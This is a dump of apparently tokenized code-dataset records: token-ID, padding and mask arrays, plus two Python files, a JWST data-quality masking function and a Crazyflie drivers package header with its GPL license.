[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mdboom/jwst_lib.models
jwst_lib/models/dynamicdq.py
1
1162
import numpy as np from . import dqflags def dynamic_mask(input_model): # # Return a mask model given a mask with dynamic DQ flags # Dynamic flags define what each plane refers to using the DQ_DEF extension dq_table = input_model.dq_def # Get the DQ array and the flag definitions if (dq_table is not None and not np.isscalar(dq_table) and len(dq_table.shape) and len(dq_table)): # # Make an empty mask dqmask = np.zeros(input_model.dq.shape, dtype=input_model.dq.dtype) for record in dq_table: bitplane = record['VALUE'] dqname = record['NAME'].strip() try: standard_bitvalue = dqflags.pixel[dqname] except KeyError: print 'Keyword %s does not correspond to an existing DQ mnemonic, so will be ignored' % (dqname) continue just_this_bit = np.bitwise_and(input_model.dq, bitplane) pixels = np.where(just_this_bit != 0) dqmask[pixels] = np.bitwise_or(dqmask[pixels], standard_bitvalue) else: dqmask = input_model.dq return dqmask
bsd-3-clause
[ 646, 2680, 465, 980, 199, 504, 1275, 492, 366, 81, 2469, 199, 199, 318, 8336, 63, 2629, 8, 1210, 63, 1238, 304, 272, 327, 272, 327, 1432, 282, 3656, 1402, 1627, 282, 3656, 543, 8336, 577, 49, 3285, 272, 327, 21907, 3285, 5627, 4052, 1924, 16388, 15724, 370, 1808, 314, 577, 49, 63, 5638, 3329, 339, 366, 81, 63, 1224, 275, 1324, 63, 1238, 14, 27073, 63, 318, 272, 327, 2372, 314, 577, 49, 1625, 436, 314, 3305, 10269, 272, 340, 334, 27073, 63, 1224, 365, 440, 488, 436, 267, 440, 980, 14, 374, 7033, 8, 27073, 63, 1224, 9, 436, 267, 822, 8, 27073, 63, 1224, 14, 1392, 9, 436, 267, 822, 8, 27073, 63, 1224, 2298, 267, 327, 267, 327, 4155, 376, 2701, 3656, 267, 366, 81, 2629, 275, 980, 14, 4250, 8, 1210, 63, 1238, 14, 27073, 14, 1392, 12, 2152, 29, 1210, 63, 1238, 14, 27073, 14, 2271, 9, 267, 367, 2777, 315, 366, 81, 63, 1224, 26, 288, 4546, 15365, 275, 2777, 459, 7041, 418, 288, 366, 12333, 275, 2777, 459, 2339, 2278, 1913, 342, 288, 862, 26, 355, 4465, 63, 2075, 585, 275, 366, 81, 2469, 14, 8435, 59, 68, 12333, 61, 288, 871, 4067, 26, 326, 870, 283, 10650, 450, 83, 1630, 440, 17118, 370, 376, 3411, 577, 49, 18250, 16082, 12, 880, 911, 506, 5525, 7, 450, 334, 68, 12333, 9, 326, 1980, 288, 2951, 63, 3749, 63, 2075, 275, 980, 14, 28831, 63, 460, 8, 1210, 63, 1238, 14, 27073, 12, 4546, 15365, 9, 288, 11094, 275, 980, 14, 4509, 8, 4764, 63, 3749, 63, 2075, 1137, 378, 9, 288, 366, 81, 2629, 59, 15727, 61, 275, 980, 14, 28831, 63, 269, 8, 27073, 2629, 59, 15727, 467, 4465, 63, 2075, 585, 9, 272, 587, 26, 267, 366, 81, 2629, 275, 1324, 63, 1238, 14, 27073, 339, 372, 366, 81, 2629, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2680, 465, 980, 199, 504, 1275, 492, 366, 81, 2469, 199, 199, 318, 8336, 63, 2629, 8, 1210, 63, 1238, 304, 272, 327, 272, 327, 1432, 282, 3656, 1402, 1627, 282, 3656, 543, 8336, 577, 49, 3285, 272, 327, 21907, 3285, 5627, 4052, 1924, 16388, 15724, 370, 1808, 314, 577, 49, 63, 5638, 3329, 339, 366, 81, 63, 1224, 275, 1324, 63, 1238, 14, 27073, 63, 318, 272, 327, 2372, 314, 577, 49, 1625, 436, 314, 3305, 10269, 272, 340, 334, 27073, 63, 1224, 365, 440, 488, 436, 267, 440, 980, 14, 374, 7033, 8, 27073, 63, 1224, 9, 436, 267, 822, 8, 27073, 63, 1224, 14, 1392, 9, 436, 267, 822, 8, 27073, 63, 1224, 2298, 267, 327, 267, 327, 4155, 376, 2701, 3656, 267, 366, 81, 2629, 275, 980, 14, 4250, 8, 1210, 63, 1238, 14, 27073, 14, 1392, 12, 2152, 29, 1210, 63, 1238, 14, 27073, 14, 2271, 9, 267, 367, 2777, 315, 366, 81, 63, 1224, 26, 288, 4546, 15365, 275, 2777, 459, 7041, 418, 288, 366, 12333, 275, 2777, 459, 2339, 2278, 1913, 342, 288, 862, 26, 355, 4465, 63, 2075, 585, 275, 366, 81, 2469, 14, 8435, 59, 68, 12333, 61, 288, 871, 4067, 26, 326, 870, 283, 10650, 450, 83, 1630, 440, 17118, 370, 376, 3411, 577, 49, 18250, 16082, 12, 880, 911, 506, 5525, 7, 450, 334, 68, 12333, 9, 326, 1980, 288, 2951, 63, 3749, 63, 2075, 275, 980, 14, 28831, 63, 460, 8, 1210, 63, 1238, 14, 27073, 12, 4546, 15365, 9, 288, 11094, 275, 980, 14, 4509, 8, 4764, 63, 3749, 63, 2075, 1137, 378, 9, 288, 366, 81, 2629, 59, 15727, 61, 275, 980, 14, 28831, 63, 269, 8, 27073, 2629, 59, 15727, 467, 4465, 63, 2075, 585, 9, 272, 587, 26, 267, 366, 81, 2629, 275, 1324, 63, 1238, 14, 27073, 339, 372, 366, 81, 2629, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
capriele/crazyflie-clients-python-move
lib/cflib/drivers/__init__.py
40
1166
#!/usr/bin/env python # -*- coding: utf-8 -*- # # || ____ _ __ # +------+ / __ )(_) /_______________ _____ ___ # | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2011-2013 Bitcraze AB # # Crazyflie Nano Quadcopter Client # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. """ Drivers for the link interfaces that can be used by CRTP. """
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 258, 12208, 3515, 636, 363, 221, 485, 636, 199, 3, 221, 435, 28712, 420, 1182, 636, 776, 1547, 9, 1182, 7785, 4741, 8989, 636, 8989, 221, 31111, 199, 3, 221, 1204, 378, 88, 6265, 1204, 258, 1182, 636, 221, 1182, 1182, 636, 15, 31111, 15, 31111, 15, 636, 658, 15607, 221, 1182, 1182, 485, 971, 199, 3, 221, 435, 28712, 259, 1182, 1182, 63, 15, 1182, 1182, 1182, 63, 15, 1182, 363, 15, 1182, 221, 1182, 1182, 63, 15, 1182, 1182, 1182, 63, 15, 221, 636, 15, 199, 3, 257, 12208, 221, 12208, 259, 1182, 4741, 63, 15607, 6307, 363, 6307, 8989, 15607, 15, 257, 971, 3108, 63, 15, 1182, 8989, 6307, 8989, 15, 199, 3, 199, 3, 221, 1898, 334, 35, 9, 7760, 13, 6965, 10199, 67, 345, 806, 14840, 199, 3, 199, 3, 221, 445, 30566, 70, 21530, 653, 8143, 5843, 350, 26950, 351, 6810, 199, 3, 199, 3, 221, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 221, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 221, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 221, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 221, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 221, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 199, 3, 221, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 221, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 199, 3, 221, 4828, 221, 11315, 13, 10067, 12, 8217, 14, 199, 199, 624, 199, 6158, 83, 367, 314, 2142, 8386, 626, 883, 506, 1202, 701, 17101, 6495, 14, 199, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
